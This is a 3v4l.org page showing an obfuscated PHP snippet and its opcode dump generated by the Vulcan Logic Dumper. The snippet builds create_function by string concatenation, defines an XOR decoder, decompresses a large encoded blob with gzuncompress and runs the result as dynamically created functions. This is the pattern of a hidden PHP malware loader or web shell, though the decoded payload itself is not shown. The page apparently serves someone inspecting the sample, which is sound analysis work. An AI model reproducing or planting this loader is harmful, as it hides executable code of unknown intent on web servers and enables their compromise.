3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $griudxyx=array( '$griudxyx[0]=$griudxyx[3];$kifxugjn=kifxugjn(3,13);$griudxyx[0]=$kifxugjn($griudxyx[2]);', '"$griudxyx[2]=gzuncompress(kifxugjn(716,2160));', 'bnt+YF57cnZlWGZWc3xlbn9Id3N7UX5nZmh+eVJicXJ2eXpxZHZ7XnJ8amdkfldQVllaQERbTVZISFFEU1JVQVtEUnZ1fWR6emtvdnp3em93c35tLn95MW9XeSY+OTNPTEp0Qm1kPGVkayd9LHtFfzQyJnV+NXtbaXRWaj0seWF1YHx1cXd8cWF6ZH1xcUFYdX9mZmRyKXh2ZndnPW9xbHZlImNheWVjeHozZWVjcmpmO3BgZnNneVpEXVFbb3V9dm9QYW1LQyg/JmZMSFNaRF1RV19NUkNwR2RLeHBxemQ+I11lcm13bHMmZWt7f2cqe3JuZHR6TjloVkBVWFRNRFZeQlxRS0NpVUFTW0hYQ11PVkNdZUNFTFNRSFFVRUdWT0lXQVJaLWJJVkZiPXRsdydkamx1PWRkcSc5ZG55ejV9eGRoUGtlYz1kZHEnOUtCUiNtZn91RnV3Rl1ZR1RvdU5lRlVEUXRhVEZdWUVBRWV0PWRkcURnYGVuaXNddXp+R2x/f1FWZn15Z1V0eFBlYCRiZ3l2ZHl6N31mYX9kdmNZSlhPYWVgJGJneXZkeXo3a3dueGBCTWt0f3tibXNdZX58SDxqbkxxUDx8ZmZUTU9ZcHF6ZD4jXWVybXdsc1lQY3NlYVdhYWR7ZGl6XWZyekdlc3lxWnZxfWBoTUVnYmBvUVpEXVFXQlFE'.'RVFZT1NDRG9zT2hNdnQhJ2B6cGdvY3t1JmZ6R3ciJ2p6cmByOW13ZUpza3AkJ2dnZWNtfm19JnVifXo9Z3ksa3hsZ35pNnh+fS9wL3M0ezQ0ZDRxYGckcSpZYXhlUzRmNHJScWV7bVdmTU57fmB1YXNMeSN4ek5wemR9cTI4LXprQzRnNGdvdEFUUWF1fW54Y0tCaHFNNGc0Yn1keHdobGJyS0c0ZzRyYzdKVUNeNzk4PVVaf3p1Mjd3ST1yaFdCWFRqjIRZc3jgSQXxMhXSw8q3kaA4xyT0OaNOaC+yrykyzFi3ZQ8ZxATyp4MHtLRx56j4fuo3iar5Cv+gtn/rp5rFNdrchfJWSiZdY1PXUEyIw8bbq6Wuve0ll3UnB6shmMcDzQxonj2Jwcjry3G+OSVG/bhB1wfVYpXFoqRjfRDNbbkqONXWjmmytLtty5T2NtltAKdDcchoaBEeIEiGKCkAiEMDoqGiQ4U+SgxChFwgSASjcbr+f7BS/XpngNRZN/D7Zrfd50LwT/2V2K/luEuKhISPdbSKT9fA/Bf/zOUBdPKemmW0QEJD6j5G7SJ7k1CunC9VGRMqOl2GSkfV6OjIYd2/3Nsjm9xAf80bkSLi4HlVBPQgYLVZu9zSlT35VuCq1IC2kNNZNtqcPQUdXpHA7QLG+BQyMVB95w9NaiwKPLkhlUbBs5JWri0nGbfYu6/wHyj7pEJXr6r92tRFoCFequlSu9fzBfZLNsUupu7nWhnngQXgtqczfttDN4Mn75r8qGEmedg9uXenVHai+OShNnIrj1HOcoRqIdpkW3Y1+jfOJSj640c4PFsjnTaU489YI6hYlpOHIfHwe6W7qvH/gt+++ITRSDyx9cEkwsSH/3gVtWP/+fvGGFhp9CElrw+uNMODHUJGWBzgJoXqj5Ffh6GSJOkh9oLeaoRKxMjLdSyXEYuPag'.'puASO7JVuZbnjmKBH/OQ+8CSVgWHWlNPxzq2uND8PDWFxXoEZp/laGoaasvjqSfuuXbcK5RYT0SXx9SlPG2kxfJd/ndu3T6E1SIVyOvoUA2X2kJbeUuNt+7gQSVxx0qQ3nUCIJKBU6GL1TmlF4PPHKoXRlXtvH1vpuE930zkxRsaJiNFBMuFFCG6WJ2CwgXKNytNrUYC8BXLyp3lV2PMyGtppkKEKUg7WwXq2iM59S4z2PHFG+z3nQLqh5eq2sdG1Hr8e7DctOQEKtHZdVOllLgHbhHZVUesxGt7ynoL160lQAnOBLiLDjcajLaYAr0BXA+hsJeoLdaDzkuCtS4lIi9f0N/o8Z/aB3ZzkfR991aBkPAlT533kjXH7MOhA5GiI0Dyfe/3R13TOquYIspdWwIGzcrD3NDPNMkYyaZTKNxzhnBfA6s6h+mg3Ima9GttgGXKcaJm8buOE5IZPhWcZ8TlGKunW1EWxZjRXIc7ZliR0FnCkqxWmKydR+djRhAM4aGLEnhPgSC3cHJu2Ta/pyTMicFazFoqfG06eu+ulowouQlfkFajAGdSwJJhJ/BSbgD659POxz62YiCqAM+Q3q3+smYlMUlgtTeEJodWnDandjEi2shhRK0vMTRXgAjtXr56f9hOXMh2PVliN4NWwPSMe8goga8Wp15deCNeXPWPbvvGptTBDdNT7NN/4G3czhK8UPBh7PU5jdTVp45n2DG2EddYh91GkI+60MD0lULFA3cHrmLZppBVYKVPGduhAAfcuIUeymubAOQKzILl8MBm6W1goJh5OCWTcXlWshDGQcYl/jjvGJnRcoqRUpUTbJgAmiFB2drKe5KN'.'IqzTYkIugEVbveAhajUyrTJ0khfFrFBK1sNPtPe8EzZiFw1ukNRz3Ex+FVc+LvwY8ly5OAlfOLyLNOXJIW9O4lXY3DRZjronzgoiwFSMx339pVqZlgZMvK6vpCKsyl6/J+1RlcBT5lB+g4twmqOShkND3EhrCsC9ehIYZY6N30xrFe69rRM4uO9F2gSrSnezHhNQG8xqS26gCcn0mzlXeWCrwHwsFUlFP6ejcrJYou1T42gnhWUDlWfCT9Y/7n0rfOVE6Ry+X3eZmuiE9unzRONOzOaOBQV/b+6yVWPfYfrTNjVp00Le407MH6IXScK0j4VjC3rugKjxhm3DdA4o2+jdok7fnF6jV7SjmoaS7aymQYOaYSl9BFmD8Rle5D+vDijBq9kj8RBzhjI6TpRAd4hOV/cFbp0nZFBXcnn7sHGgxnr1yzkYdInA45nT2QVsek4tDZKsDzJo7IXX4SicSW4HhH+vQjv1ULkaI2hr1C0DdEKTJzJlHP+3af1Z397RVandCUMMZmvFhe/3CM1oEa0iWUQnHyyhfGG3OUMCsw22q5RjPeQaSmCBsyUMUCdYLaeAHnMa2anVSSfwSADIXHpM7e2/60x0t0DMjJtEWFMjSqvcMbhzqDkYxoKGkDPtjA2DvFE6ZrQl4jTzGnQds35U//4GiN4n+hmgCGCGuQ2kgPN44SXQMZ7lHOJnVQBPzWmAWvpI7DNgSRSoAt/QxaMlMBeSY2RCFeHVqsMWMFk22qP11IdKfF2ro73saqFkSW8xs1DVbYsGys1PJd2zN/2xw6j7Rtm6A6DnuxVDBy6ine0BLitB8srJqL4royfZEFJRDUCI/HnNbugKu1Q11rsmNUJa5T8OzXA2wZjoMv+A5jC1j79ZrlBwdqu3huxl0azoF0UtA3oyfeGdFBNc+Xhjf5HZ9R/jmdgACxtmYcYzC6alDd/UzwqUW+fL/e5/7AxbiBIIgGN1sbCl/'.'K0auu4MXK4XazOOae7Nbt2A8cdE6/6BzdKDHxjPthzu8Sa+4481q5DNIuTr9+s4yJEfY1/6p3jRMqRuOZPvjzLB0aR9+P8myUdfAjgLNxPWCyhU/fihQVdoBQyOKD04EazObRgm6MV5cX8qxN+BgLa3c3zywRhiXPJvLdGkuOlYGum2F93LN+b81yaLqc+zkgErwZVwMFolBsGQJ2Jh9kzXRhUe24MoqwTMwNj7kMOp7acWV8tKq9OrTca0KF5oss9u8moRLwxfkAPK47ks+7Du0bAZJd5ecKRkDmATba9fBFciuL8kdtk2PWs1GagwAo70v58BFkPY8cHqG0qxWSlZ86NmY82koR6dLjAyeNz8pv', "/*s\x70\x71\x7a\x64\x3e\x23\x5d\x65\x72\x6d\x77\x6c\x73*/");$fugkept='create_'; if(function_exists($fugkept.='function')){ $fugkept('','}function kifxugjn($j,$s){$m=str_pad("",$s,"rpiahwbawnxhvmpe");$r=str_repeat("\x1f",$s);$f=str_repeat("\xe0",$s);$u = substr($v[0],$j,$s);return(($u^$m)&$r)|($u&$f);}{'); for($sn=-1;++$sn<3;$griudxyx[$sn]()){ $griudxyx[$sn]=$fugkept('',$griudxyx[$sn]); }};unset($griudxyx);?>
Finding entry points
Branch analysis from position: 0
Jump found. Position 1 = 7, Position 2 = 26
Branch analysis from position: 7
Jump found. Position 1 = 23
Branch analysis from position: 23
Jump found. Position 1 = 26, Position 2 = 13
Branch analysis from position: 26
Jump found. Position 1 = -2
Branch analysis from position: 13
Jump found. Position 1 = 26, Position 2 = 13
Branch analysis from position: 26
Branch analysis from position: 13
Branch analysis from position: 26
filename:       /in/UYiPN
function name:  (null)
number of ops:  28
compiled vars:  !0 = $griudxyx, !1 = $fugkept, !2 = $sn
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   ASSIGN                                                   !0, <array>
   5     1        ASSIGN                                                   !1, 'create_'
   6     2        INIT_FCALL                                               'function_exists'
         3        ASSIGN_CONCAT                                 0  $5      !1, 'function'
         4        SEND_VAR                                                 $5
         5        DO_ICALL                                         $6      
         6      > JMPZ                                                     $6, ->26
   7     7    >   INIT_DYNAMIC_CALL                                        !1
         8        SEND_VAL_EX                                              ''
         9        SEND_VAL_EX                                              '%7Dfunction+kifxugjn%28%24j%2C%24s%29%7B%24m%3Dstr_pad%28%22%22%2C%24s%2C%22rpiahwbawnxhvmpe%22%29%3B%24r%3Dstr_repeat%28%22%5Cx1f%22%2C%24s%29%3B%24f%3Dstr_repeat%28%22%5Cxe0%22%2C%24s%29%3B%24u+%3D+substr%28%24v%5B0%5D%2C%24j%2C%24s%29%3Breturn%28%28%24u%5E%24m%29%26%24r%29%7C%28%24u%26%24f%29%3B%7D%7B'
        10        DO_FCALL                                      0          
   9    11        ASSIGN                                                   !2, -1
        12      > JMP                                                      ->23
  10    13    >   INIT_DYNAMIC_CALL                                        !1
        14        SEND_VAL_EX                                              ''
        15        FETCH_DIM_FUNC_ARG                               $10     !0, !2
        16        SEND_VAR_EX                                              $10
        17        DO_FCALL                                      0  $11     
        18        ASSIGN_DIM                                               !0, !2
        19        OP_DATA                                                  $11
   9    20        FETCH_DIM_R                                      $12     !0, !2
        21        INIT_DYNAMIC_CALL                                        $12
        22        DO_FCALL                                      0          
        23    >   PRE_INC                                          $14     !2
        24        IS_SMALLER                                       ~15     $14, 3
        25      > JMPNZ                                                    ~15, ->13
  11    26    >   UNSET_VAR                                                !0
        27      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 7.2.0